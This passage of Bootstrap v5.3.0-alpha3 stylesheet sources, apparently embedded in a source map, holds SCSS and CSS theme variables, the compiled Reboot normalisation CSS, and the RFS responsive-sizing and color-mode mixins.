#{$body-tertiary-color};\n --#{$prefix}tertiary-color-rgb: #{to-rgb($body-tertiary-color)};\n --#{$prefix}tertiary-bg: #{$body-tertiary-bg};\n --#{$prefix}tertiary-bg-rgb: #{to-rgb($body-tertiary-bg)};\n // scss-docs-end root-body-variables\n\n @if $headings-color != null {\n --#{$prefix}heading-color: #{$headings-color};\n }\n\n --#{$prefix}link-color: #{$link-color};\n --#{$prefix}link-color-rgb: #{to-rgb($link-color)};\n --#{$prefix}link-decoration: #{$link-decoration};\n\n --#{$prefix}link-hover-color: #{$link-hover-color};\n --#{$prefix}link-hover-color-rgb: #{to-rgb($link-hover-color)};\n\n @if $link-hover-decoration != null {\n --#{$prefix}link-hover-decoration: #{$link-hover-decoration};\n }\n\n --#{$prefix}code-color: #{$code-color};\n --#{$prefix}highlight-bg: #{$mark-bg};\n\n // scss-docs-start root-border-var\n --#{$prefix}border-width: #{$border-width};\n --#{$prefix}border-style: #{$border-style};\n --#{$prefix}border-color: #{$border-color};\n --#{$prefix}border-color-translucent: #{$border-color-translucent};\n\n --#{$prefix}border-radius: #{$border-radius};\n --#{$prefix}border-radius-sm: #{$border-radius-sm};\n --#{$prefix}border-radius-lg: #{$border-radius-lg};\n --#{$prefix}border-radius-xl: #{$border-radius-xl};\n --#{$prefix}border-radius-xxl: #{$border-radius-xxl};\n --#{$prefix}border-radius-2xl: var(--#{$prefix}border-radius-xxl); // Deprecated in v5.3.0 for consistency\n --#{$prefix}border-radius-pill: #{$border-radius-pill};\n // scss-docs-end root-border-var\n\n --#{$prefix}box-shadow: #{$box-shadow};\n --#{$prefix}box-shadow-sm: #{$box-shadow-sm};\n --#{$prefix}box-shadow-lg: #{$box-shadow-lg};\n --#{$prefix}box-shadow-inset: #{$box-shadow-inset};\n\n // Focus styles\n // scss-docs-start root-focus-variables\n --#{$prefix}focus-ring-width: #{$focus-ring-width};\n --#{$prefix}focus-ring-opacity: #{$focus-ring-opacity};\n --#{$prefix}focus-ring-color: #{$focus-ring-color};\n // scss-docs-end root-focus-variables\n\n // scss-docs-start root-form-validation-variables\n --#{$prefix}form-valid-color: #{$form-valid-color};\n --#{$prefix}form-valid-border-color: #{$form-valid-border-color};\n --#{$prefix}form-invalid-color: #{$form-invalid-color};\n --#{$prefix}form-invalid-border-color: #{$form-invalid-border-color};\n // scss-docs-end root-form-validation-variables\n}\n\n@if $enable-dark-mode {\n @include color-mode(dark, true) {\n color-scheme: dark;\n\n // scss-docs-start root-dark-mode-vars\n --#{$prefix}body-color: #{$body-color-dark};\n --#{$prefix}body-color-rgb: #{to-rgb($body-color-dark)};\n --#{$prefix}body-bg: #{$body-bg-dark};\n --#{$prefix}body-bg-rgb: #{to-rgb($body-bg-dark)};\n\n --#{$prefix}emphasis-color: #{$body-emphasis-color-dark};\n --#{$prefix}emphasis-color-rgb: #{to-rgb($body-emphasis-color-dark)};\n\n --#{$prefix}secondary-color: #{$body-secondary-color-dark};\n --#{$prefix}secondary-color-rgb: #{to-rgb($body-secondary-color-dark)};\n --#{$prefix}secondary-bg: #{$body-secondary-bg-dark};\n --#{$prefix}secondary-bg-rgb: #{to-rgb($body-secondary-bg-dark)};\n\n --#{$prefix}tertiary-color: #{$body-tertiary-color-dark};\n --#{$prefix}tertiary-color-rgb: #{to-rgb($body-tertiary-color-dark)};\n --#{$prefix}tertiary-bg: #{$body-tertiary-bg-dark};\n --#{$prefix}tertiary-bg-rgb: #{to-rgb($body-tertiary-bg-dark)};\n\n @each $color, $value in $theme-colors-text-dark {\n --#{$prefix}#{$color}-text-emphasis: #{$value};\n }\n\n @each $color, $value in $theme-colors-bg-subtle-dark {\n --#{$prefix}#{$color}-bg-subtle: #{$value};\n }\n\n @each $color, $value in $theme-colors-border-subtle-dark {\n --#{$prefix}#{$color}-border-subtle: #{$value};\n }\n\n @if $headings-color-dark != null {\n --#{$prefix}heading-color: #{$headings-color-dark};\n }\n\n --#{$prefix}link-color: #{$link-color-dark};\n --#{$prefix}link-hover-color: #{$link-hover-color-dark};\n --#{$prefix}link-color-rgb: #{to-rgb($link-color-dark)};\n --#{$prefix}link-hover-color-rgb: #{to-rgb($link-hover-color-dark)};\n\n --#{$prefix}code-color: #{$code-color-dark};\n\n --#{$prefix}border-color: #{$border-color-dark};\n --#{$prefix}border-color-translucent: #{$border-color-translucent-dark};\n\n --#{$prefix}form-valid-color: #{$form-valid-color-dark};\n --#{$prefix}form-valid-border-color: #{$form-valid-border-color-dark};\n --#{$prefix}form-invalid-color: #{$form-invalid-color-dark};\n --#{$prefix}form-invalid-border-color: #{$form-invalid-border-color-dark};\n // scss-docs-end root-dark-mode-vars\n }\n}\n","/*!\n * Bootstrap Reboot v5.3.0-alpha3 (https://getbootstrap.com/)\n * Copyright 2011-2023 The Bootstrap Authors\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n */\n:root,\n[data-bs-theme=light] {\n --bs-blue: #0d6efd;\n --bs-indigo: #6610f2;\n --bs-purple: #6f42c1;\n --bs-pink: #d63384;\n --bs-red: #dc3545;\n --bs-orange: #fd7e14;\n --bs-yellow: #ffc107;\n --bs-green: #198754;\n --bs-teal: #20c997;\n --bs-cyan: #0dcaf0;\n --bs-black: #000;\n --bs-white: #fff;\n --bs-gray: #6c757d;\n --bs-gray-dark: #343a40;\n --bs-gray-100: #f8f9fa;\n --bs-gray-200: #e9ecef;\n --bs-gray-300: #dee2e6;\n --bs-gray-400: #ced4da;\n --bs-gray-500: #adb5bd;\n --bs-gray-600: #6c757d;\n --bs-gray-700: #495057;\n --bs-gray-800: #343a40;\n --bs-gray-900: #212529;\n --bs-primary: #0d6efd;\n --bs-secondary: #6c757d;\n --bs-success: #198754;\n --bs-info: #0dcaf0;\n --bs-warning: #ffc107;\n --bs-danger: #dc3545;\n --bs-light: #f8f9fa;\n --bs-dark: #212529;\n --bs-primary-rgb: 13, 110, 253;\n --bs-secondary-rgb: 108, 117, 125;\n --bs-success-rgb: 25, 135, 84;\n --bs-info-rgb: 13, 202, 240;\n --bs-warning-rgb: 255, 193, 7;\n --bs-danger-rgb: 220, 53, 69;\n --bs-light-rgb: 248, 249, 250;\n --bs-dark-rgb: 33, 37, 41;\n --bs-primary-text-emphasis: #052c65;\n --bs-secondary-text-emphasis: #2b2f32;\n --bs-success-text-emphasis: #0a3622;\n --bs-info-text-emphasis: #055160;\n --bs-warning-text-emphasis: #664d03;\n --bs-danger-text-emphasis: #58151c;\n --bs-light-text-emphasis: #495057;\n --bs-dark-text-emphasis: #495057;\n --bs-primary-bg-subtle: #cfe2ff;\n --bs-secondary-bg-subtle: #e2e3e5;\n --bs-success-bg-subtle: #d1e7dd;\n --bs-info-bg-subtle: #cff4fc;\n --bs-warning-bg-subtle: #fff3cd;\n --bs-danger-bg-subtle: #f8d7da;\n --bs-light-bg-subtle: #fcfcfd;\n --bs-dark-bg-subtle: #ced4da;\n --bs-primary-border-subtle: #9ec5fe;\n --bs-secondary-border-subtle: #c4c8cb;\n --bs-success-border-subtle: #a3cfbb;\n --bs-info-border-subtle: #9eeaf9;\n --bs-warning-border-subtle: #ffe69c;\n --bs-danger-border-subtle: #f1aeb5;\n --bs-light-border-subtle: #e9ecef;\n --bs-dark-border-subtle: #adb5bd;\n --bs-white-rgb: 255, 255, 255;\n --bs-black-rgb: 0, 0, 0;\n --bs-font-sans-serif: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", \"Noto Sans\", \"Liberation Sans\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";\n --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));\n --bs-body-font-family: var(--bs-font-sans-serif);\n --bs-body-font-size: 1rem;\n --bs-body-font-weight: 400;\n --bs-body-line-height: 1.5;\n --bs-body-color: #212529;\n --bs-body-color-rgb: 33, 37, 41;\n --bs-body-bg: #fff;\n --bs-body-bg-rgb: 255, 255, 255;\n --bs-emphasis-color: #000;\n --bs-emphasis-color-rgb: 0, 0, 0;\n --bs-secondary-color: rgba(33, 37, 41, 0.75);\n --bs-secondary-color-rgb: 33, 37, 41;\n --bs-secondary-bg: #e9ecef;\n --bs-secondary-bg-rgb: 233, 236, 239;\n --bs-tertiary-color: rgba(33, 37, 41, 0.5);\n --bs-tertiary-color-rgb: 33, 37, 41;\n --bs-tertiary-bg: #f8f9fa;\n --bs-tertiary-bg-rgb: 248, 249, 250;\n --bs-link-color: #0d6efd;\n --bs-link-color-rgb: 13, 110, 253;\n --bs-link-decoration: underline;\n --bs-link-hover-color: #0a58ca;\n --bs-link-hover-color-rgb: 10, 88, 202;\n --bs-code-color: #d63384;\n --bs-highlight-bg: #fff3cd;\n --bs-border-width: 1px;\n --bs-border-style: solid;\n --bs-border-color: #dee2e6;\n --bs-border-color-translucent: rgba(0, 0, 0, 0.175);\n --bs-border-radius: 0.375rem;\n --bs-border-radius-sm: 0.25rem;\n --bs-border-radius-lg: 0.5rem;\n --bs-border-radius-xl: 1rem;\n --bs-border-radius-xxl: 2rem;\n --bs-border-radius-2xl: var(--bs-border-radius-xxl);\n --bs-border-radius-pill: 50rem;\n --bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15);\n --bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);\n --bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175);\n --bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075);\n --bs-focus-ring-width: 0.25rem;\n --bs-focus-ring-opacity: 0.25;\n --bs-focus-ring-color: rgba(13, 110, 253, 0.25);\n --bs-form-valid-color: #198754;\n --bs-form-valid-border-color: #198754;\n --bs-form-invalid-color: #dc3545;\n --bs-form-invalid-border-color: #dc3545;\n}\n\n[data-bs-theme=dark] {\n color-scheme: dark;\n --bs-body-color: #adb5bd;\n --bs-body-color-rgb: 173, 181, 189;\n --bs-body-bg: #212529;\n --bs-body-bg-rgb: 33, 37, 41;\n --bs-emphasis-color: #fff;\n --bs-emphasis-color-rgb: 255, 255, 255;\n --bs-secondary-color: rgba(173, 181, 189, 0.75);\n --bs-secondary-color-rgb: 173, 181, 189;\n --bs-secondary-bg: #343a40;\n --bs-secondary-bg-rgb: 52, 58, 64;\n --bs-tertiary-color: rgba(173, 181, 189, 0.5);\n --bs-tertiary-color-rgb: 173, 181, 189;\n --bs-tertiary-bg: #2b3035;\n --bs-tertiary-bg-rgb: 43, 48, 53;\n --bs-primary-text-emphasis: #6ea8fe;\n --bs-secondary-text-emphasis: #a7acb1;\n --bs-success-text-emphasis: #75b798;\n --bs-info-text-emphasis: #6edff6;\n --bs-warning-text-emphasis: #ffda6a;\n --bs-danger-text-emphasis: #ea868f;\n --bs-light-text-emphasis: #f8f9fa;\n --bs-dark-text-emphasis: #dee2e6;\n --bs-primary-bg-subtle: #031633;\n --bs-secondary-bg-subtle: #161719;\n --bs-success-bg-subtle: #051b11;\n --bs-info-bg-subtle: #032830;\n --bs-warning-bg-subtle: #332701;\n --bs-danger-bg-subtle: #2c0b0e;\n --bs-light-bg-subtle: #343a40;\n --bs-dark-bg-subtle: #1a1d20;\n --bs-primary-border-subtle: #084298;\n --bs-secondary-border-subtle: #41464b;\n --bs-success-border-subtle: #0f5132;\n --bs-info-border-subtle: #087990;\n --bs-warning-border-subtle: #997404;\n --bs-danger-border-subtle: #842029;\n --bs-light-border-subtle: #495057;\n --bs-dark-border-subtle: #343a40;\n --bs-link-color: #6ea8fe;\n --bs-link-hover-color: #8bb9fe;\n --bs-link-color-rgb: 110, 168, 254;\n --bs-link-hover-color-rgb: 139, 185, 254;\n --bs-code-color: #e685b5;\n --bs-border-color: #495057;\n --bs-border-color-translucent: rgba(255, 255, 255, 0.15);\n --bs-form-valid-color: #75b798;\n --bs-form-valid-border-color: #75b798;\n --bs-form-invalid-color: #ea868f;\n --bs-form-invalid-border-color: #ea868f;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\n@media (prefers-reduced-motion: no-preference) {\n :root {\n scroll-behavior: smooth;\n }\n}\n\nbody {\n margin: 0;\n font-family: var(--bs-body-font-family);\n font-size: var(--bs-body-font-size);\n font-weight: var(--bs-body-font-weight);\n line-height: var(--bs-body-line-height);\n color: var(--bs-body-color);\n text-align: var(--bs-body-text-align);\n background-color: var(--bs-body-bg);\n -webkit-text-size-adjust: 100%;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n\nhr {\n margin: 1rem 0;\n color: inherit;\n border: 0;\n border-top: var(--bs-border-width) solid;\n opacity: 0.25;\n}\n\nh6, h5, h4, h3, h2, h1 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n font-weight: 500;\n line-height: 1.2;\n color: var(--bs-heading-color, inherit);\n}\n\nh1 {\n font-size: calc(1.375rem + 1.5vw);\n}\n@media (min-width: 1200px) {\n h1 {\n font-size: 2.5rem;\n }\n}\n\nh2 {\n font-size: calc(1.325rem + 0.9vw);\n}\n@media (min-width: 1200px) {\n h2 {\n font-size: 2rem;\n }\n}\n\nh3 {\n font-size: calc(1.3rem + 0.6vw);\n}\n@media (min-width: 1200px) {\n h3 {\n font-size: 1.75rem;\n }\n}\n\nh4 {\n font-size: calc(1.275rem + 0.3vw);\n}\n@media (min-width: 1200px) {\n h4 {\n font-size: 1.5rem;\n }\n}\n\nh5 {\n font-size: 1.25rem;\n}\n\nh6 {\n font-size: 1rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title] {\n -webkit-text-decoration: underline dotted;\n text-decoration: underline dotted;\n cursor: help;\n -webkit-text-decoration-skip-ink: none;\n text-decoration-skip-ink: none;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul {\n padding-left: 2rem;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: 0.5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 0.875em;\n}\n\nmark {\n padding: 0.1875em;\n background-color: var(--bs-highlight-bg);\n}\n\nsub,\nsup {\n position: relative;\n font-size: 0.75em;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -0.25em;\n}\n\nsup {\n top: -0.5em;\n}\n\na {\n color: rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1));\n text-decoration: underline;\n}\na:hover {\n --bs-link-color-rgb: var(--bs-link-hover-color-rgb);\n}\n\na:not([href]):not([class]), a:not([href]):not([class]):hover {\n color: inherit;\n text-decoration: none;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: var(--bs-font-monospace);\n font-size: 1em;\n}\n\npre {\n display: block;\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n font-size: 0.875em;\n}\npre code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n}\n\ncode {\n font-size: 0.875em;\n color: var(--bs-code-color);\n word-wrap: break-word;\n}\na > code {\n color: inherit;\n}\n\nkbd {\n padding: 0.1875rem 0.375rem;\n font-size: 0.875em;\n color: var(--bs-body-bg);\n background-color: var(--bs-body-color);\n border-radius: 0.25rem;\n}\nkbd kbd {\n padding: 0;\n font-size: 1em;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg,\nsvg {\n vertical-align: middle;\n}\n\ntable {\n caption-side: bottom;\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n color: var(--bs-secondary-color);\n text-align: left;\n}\n\nth {\n text-align: inherit;\n text-align: -webkit-match-parent;\n}\n\nthead,\ntbody,\ntfoot,\ntr,\ntd,\nth {\n border-color: inherit;\n border-style: solid;\n border-width: 0;\n}\n\nlabel {\n display: inline-block;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus:not(:focus-visible) {\n outline: 0;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\n[role=button] {\n cursor: pointer;\n}\n\nselect {\n word-wrap: normal;\n}\nselect:disabled {\n opacity: 1;\n}\n\n[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator {\n display: none !important;\n}\n\nbutton,\n[type=button],\n[type=reset],\n[type=submit] {\n -webkit-appearance: button;\n}\nbutton:not(:disabled),\n[type=button]:not(:disabled),\n[type=reset]:not(:disabled),\n[type=submit]:not(:disabled) {\n cursor: pointer;\n}\n\n::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ntextarea {\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n float: left;\n width: 100%;\n padding: 0;\n margin-bottom: 0.5rem;\n font-size: calc(1.275rem + 0.3vw);\n line-height: inherit;\n}\n@media (min-width: 1200px) {\n legend {\n font-size: 1.5rem;\n }\n}\nlegend + * {\n clear: left;\n}\n\n::-webkit-datetime-edit-fields-wrapper,\n::-webkit-datetime-edit-text,\n::-webkit-datetime-edit-minute,\n::-webkit-datetime-edit-hour-field,\n::-webkit-datetime-edit-day-field,\n::-webkit-datetime-edit-month-field,\n::-webkit-datetime-edit-year-field {\n padding: 0;\n}\n\n::-webkit-inner-spin-button {\n height: auto;\n}\n\n[type=search] {\n outline-offset: -2px;\n -webkit-appearance: textfield;\n}\n\n/* rtl:raw:\n[type=\"tel\"],\n[type=\"url\"],\n[type=\"email\"],\n[type=\"number\"] {\n direction: ltr;\n}\n*/\n::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-color-swatch-wrapper {\n padding: 0;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\n::file-selector-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\niframe {\n border: 0;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[hidden] {\n display: none !important;\n}\n\n/*# sourceMappingURL=bootstrap-reboot.css.map */","// stylelint-disable scss/dimension-no-non-numeric-values\n\n// SCSS RFS mixin\n//\n// Automated responsive values for font sizes, paddings, margins and much more\n//\n// Licensed under MIT (https://github.com/twbs/rfs/blob/main/LICENSE)\n\n// Configuration\n\n// Base value\n$rfs-base-value: 1.25rem !default;\n$rfs-unit: rem !default;\n\n@if $rfs-unit != rem and $rfs-unit != px {\n @error \"`#{$rfs-unit}` is not a valid unit for $rfs-unit. Use `px` or `rem`.\";\n}\n\n// Breakpoint at where values start decreasing if screen width is smaller\n$rfs-breakpoint: 1200px !default;\n$rfs-breakpoint-unit: px !default;\n\n@if $rfs-breakpoint-unit != px and $rfs-breakpoint-unit != em and $rfs-breakpoint-unit != rem {\n @error \"`#{$rfs-breakpoint-unit}` is not a valid unit for $rfs-breakpoint-unit. Use `px`, `em` or `rem`.\";\n}\n\n// Resize values based on screen height and width\n$rfs-two-dimensional: false !default;\n\n// Factor of decrease\n$rfs-factor: 10 !default;\n\n@if type-of($rfs-factor) != number or $rfs-factor <= 1 {\n @error \"`#{$rfs-factor}` is not a valid $rfs-factor, it must be greater than 1.\";\n}\n\n// Mode. Possibilities: \"min-media-query\", \"max-media-query\"\n$rfs-mode: min-media-query !default;\n\n// Generate enable or disable classes. Possibilities: false, \"enable\" or \"disable\"\n$rfs-class: false !default;\n\n// 1 rem = $rfs-rem-value px\n$rfs-rem-value: 16 !default;\n\n// Safari iframe resize bug: https://github.com/twbs/rfs/issues/14\n$rfs-safari-iframe-resize-bug-fix: false !default;\n\n// Disable RFS by setting $enable-rfs to false\n$enable-rfs: true !default;\n\n// Cache $rfs-base-value unit\n$rfs-base-value-unit: unit($rfs-base-value);\n\n@function divide($dividend, $divisor, $precision: 10) {\n $sign: if($dividend > 0 and $divisor > 0 or $dividend < 0 and $divisor < 0, 1, -1);\n $dividend: abs($dividend);\n $divisor: abs($divisor);\n @if $dividend == 0 {\n @return 0;\n }\n @if $divisor == 0 {\n @error \"Cannot divide by 0\";\n }\n $remainder: $dividend;\n $result: 0;\n $factor: 10;\n @while ($remainder > 0 and $precision >= 0) {\n $quotient: 0;\n @while ($remainder >= $divisor) {\n $remainder: $remainder - $divisor;\n $quotient: $quotient + 1;\n }\n $result: $result * 10 + $quotient;\n $factor: $factor * .1;\n $remainder: $remainder * 10;\n $precision: $precision - 1;\n @if ($precision < 0 and $remainder >= $divisor * 5) {\n $result: $result + 1;\n }\n }\n $result: $result * $factor * $sign;\n $dividend-unit: unit($dividend);\n $divisor-unit: unit($divisor);\n $unit-map: (\n \"px\": 1px,\n \"rem\": 1rem,\n \"em\": 1em,\n \"%\": 1%\n );\n @if ($dividend-unit != $divisor-unit and map-has-key($unit-map, $dividend-unit)) {\n $result: $result * map-get($unit-map, $dividend-unit);\n }\n @return $result;\n}\n\n// Remove px-unit from $rfs-base-value for calculations\n@if $rfs-base-value-unit == px {\n $rfs-base-value: divide($rfs-base-value, $rfs-base-value * 0 + 1);\n}\n@else if $rfs-base-value-unit == rem {\n $rfs-base-value: divide($rfs-base-value, divide($rfs-base-value * 0 + 1, $rfs-rem-value));\n}\n\n// Cache $rfs-breakpoint unit to prevent multiple calls\n$rfs-breakpoint-unit-cache: unit($rfs-breakpoint);\n\n// Remove unit from $rfs-breakpoint for calculations\n@if $rfs-breakpoint-unit-cache == px {\n $rfs-breakpoint: divide($rfs-breakpoint, $rfs-breakpoint * 0 + 1);\n}\n@else if $rfs-breakpoint-unit-cache == rem or $rfs-breakpoint-unit-cache == \"em\" {\n $rfs-breakpoint: divide($rfs-breakpoint, divide($rfs-breakpoint * 0 + 1, $rfs-rem-value));\n}\n\n// Calculate the media query value\n$rfs-mq-value: if($rfs-breakpoint-unit == px, #{$rfs-breakpoint}px, #{divide($rfs-breakpoint, $rfs-rem-value)}#{$rfs-breakpoint-unit});\n$rfs-mq-property-width: if($rfs-mode == max-media-query, max-width, min-width);\n$rfs-mq-property-height: if($rfs-mode == max-media-query, max-height, min-height);\n\n// Internal mixin used to determine which media query needs to be used\n@mixin _rfs-media-query {\n @if $rfs-two-dimensional {\n @if $rfs-mode == max-media-query {\n @media (#{$rfs-mq-property-width}: #{$rfs-mq-value}), (#{$rfs-mq-property-height}: #{$rfs-mq-value}) {\n @content;\n }\n }\n @else {\n @media (#{$rfs-mq-property-width}: #{$rfs-mq-value}) and (#{$rfs-mq-property-height}: #{$rfs-mq-value}) {\n @content;\n }\n }\n }\n @else {\n @media (#{$rfs-mq-property-width}: #{$rfs-mq-value}) {\n @content;\n }\n }\n}\n\n// Internal mixin that adds disable classes to the selector if needed.\n@mixin _rfs-rule {\n @if $rfs-class == disable and $rfs-mode == max-media-query {\n // Adding an extra class increases specificity, which prevents the media query to override the property\n &,\n .disable-rfs &,\n &.disable-rfs {\n @content;\n }\n }\n @else if $rfs-class == enable and $rfs-mode == min-media-query {\n .enable-rfs &,\n &.enable-rfs {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Internal mixin that adds enable classes to the selector if needed.\n@mixin _rfs-media-query-rule {\n\n @if $rfs-class == enable {\n @if $rfs-mode == min-media-query {\n @content;\n }\n\n @include _rfs-media-query () {\n .enable-rfs &,\n &.enable-rfs {\n @content;\n }\n }\n }\n @else {\n @if $rfs-class == disable and $rfs-mode == min-media-query {\n .disable-rfs &,\n &.disable-rfs {\n @content;\n }\n }\n @include _rfs-media-query () {\n @content;\n }\n }\n}\n\n// Helper function to get the formatted non-responsive value\n@function rfs-value($values) {\n // Convert to list\n $values: if(type-of($values) != list, ($values,), $values);\n\n $val: \"\";\n\n // Loop over each value and calculate value\n @each $value in $values {\n @if $value == 0 {\n $val: $val + \" 0\";\n }\n @else {\n // Cache $value unit\n $unit: if(type-of($value) == \"number\", unit($value), false);\n\n @if $unit == px {\n // Convert to rem if needed\n $val: $val + \" \" + if($rfs-unit == rem, #{divide($value, $value * 0 + $rfs-rem-value)}rem, $value);\n }\n @else if $unit == rem {\n // Convert to px if needed\n $val: $val + \" \" + if($rfs-unit == px, #{divide($value, $value * 0 + 1) * $rfs-rem-value}px, $value);\n } @else {\n // If $value isn't a number (like inherit) or $value has a unit (not px or rem, like 1.5em) or $ is 0, just print the value\n $val: $val + \" \" + $value;\n }\n }\n }\n\n // Remove first space\n @return unquote(str-slice($val, 2));\n}\n\n// Helper function to get the responsive value calculated by RFS\n@function rfs-fluid-value($values) {\n // Convert to list\n $values: if(type-of($values) != list, ($values,), $values);\n\n $val: \"\";\n\n // Loop over each value and calculate value\n @each $value in $values {\n @if $value == 0 {\n $val: $val + \" 0\";\n } @else {\n // Cache $value unit\n $unit: if(type-of($value) == \"number\", unit($value), false);\n\n // If $value isn't a number (like inherit) or $value has a unit (not px or rem, like 1.5em) or $ is 0, just print the value\n @if not $unit or $unit != px and $unit != rem {\n $val: $val + \" \" + $value;\n } @else {\n // Remove unit from $value for calculations\n $value: divide($value, $value * 0 + if($unit == px, 1, divide(1, $rfs-rem-value)));\n\n // Only add the media query if the value is greater than the minimum value\n @if abs($value) <= $rfs-base-value or not $enable-rfs {\n $val: $val + \" \" + if($rfs-unit == rem, #{divide($value, $rfs-rem-value)}rem, #{$value}px);\n }\n @else {\n // Calculate the minimum value\n $value-min: $rfs-base-value + divide(abs($value) - $rfs-base-value, $rfs-factor);\n\n // Calculate difference between $value and the minimum value\n $value-diff: abs($value) - $value-min;\n\n // Base value formatting\n $min-width: if($rfs-unit == rem, #{divide($value-min, $rfs-rem-value)}rem, #{$value-min}px);\n\n // Use negative value if needed\n $min-width: if($value < 0, -$min-width, $min-width);\n\n // Use `vmin` if two-dimensional is enabled\n $variable-unit: if($rfs-two-dimensional, vmin, vw);\n\n // Calculate the variable width between 0 and $rfs-breakpoint\n $variable-width: #{divide($value-diff * 100, $rfs-breakpoint)}#{$variable-unit};\n\n // Return the calculated value\n $val: $val + \" calc(\" + $min-width + if($value < 0, \" - \", \" + \") + $variable-width + \")\";\n }\n }\n }\n }\n\n // Remove first space\n @return unquote(str-slice($val, 2));\n}\n\n// RFS mixin\n@mixin rfs($values, $property: font-size) {\n @if $values != null {\n $val: rfs-value($values);\n $fluid-val: rfs-fluid-value($values);\n\n // Do not print the media query if responsive & non-responsive values are the same\n @if $val == $fluid-val {\n #{$property}: $val;\n }\n @else {\n @include _rfs-rule () {\n #{$property}: if($rfs-mode == max-media-query, $val, $fluid-val);\n\n // Include safari iframe resize fix if needed\n min-width: if($rfs-safari-iframe-resize-bug-fix, (0 * 1vw), null);\n }\n\n @include _rfs-media-query-rule () {\n #{$property}: if($rfs-mode == max-media-query, $fluid-val, $val);\n }\n }\n }\n}\n\n// Shorthand helper mixins\n@mixin font-size($value) {\n @include rfs($value);\n}\n\n@mixin padding($value) {\n @include rfs($value, padding);\n}\n\n@mixin padding-top($value) {\n @include rfs($value, padding-top);\n}\n\n@mixin padding-right($value) {\n @include rfs($value, padding-right);\n}\n\n@mixin padding-bottom($value) {\n @include rfs($value, padding-bottom);\n}\n\n@mixin padding-left($value) {\n @include rfs($value, padding-left);\n}\n\n@mixin margin($value) {\n @include rfs($value, margin);\n}\n\n@mixin margin-top($value) {\n @include rfs($value, margin-top);\n}\n\n@mixin margin-right($value) {\n @include rfs($value, margin-right);\n}\n\n@mixin margin-bottom($value) {\n @include rfs($value, margin-bottom);\n}\n\n@mixin margin-left($value) {\n @include rfs($value, margin-left);\n}\n","// scss-docs-start color-mode-mixin\n@mixin color-mode($mode: light, $root: false) {\n @if $color-mode-type == \"media-query\" {\n @if $root == true {\n @media (prefers-color-scheme: $mode) {\n :root {\n @content;\n }\n }\n } @else {\n @media (prefers-color-scheme: $mode) {\n @content;\n }\n }\n } @else {\n [data-bs-theme=\"#{$mode}\"] {\n @content;\n }\n }\n}\n// scss-docs-end color-mode-mixin\n","// stylelint-disable declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\n\n// Root\n//\n// Ability to the value of the root font sizes, affecting the value of `rem`.\n// null by default, thus nothing is generated.\n\n:root {\n @if $font-size-root != null {\n @include font-size(var(--#{$prefix}root-font-size));\n }\n\n @if $enable-smooth-scroll {\n @media (prefers-reduced-motion: no-preference) {\n scroll-behavior: smooth;\n }\n }\n}\n\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Prevent adjustments of font size after orientation changes in iOS.\n// 4. Change the default tap highlight to be completely transparent in iOS.\n\n// scss-docs-start reboot-body-rules\nbody {\n margin: 0; // 1\n font-family: var(--#{$prefix}body-font-family);\n @include font-size(var(--#{$prefix}body-font-size));\n font-weight: var(--#{$prefix}body-font-weight);\n line-height: var(--#{$prefix}body-line-height);\n color: var(--#{$prefix}body-color);\n text-align: var(--#{$prefix}body-text-align);\n background-color: var(--#{$prefix}body-bg); 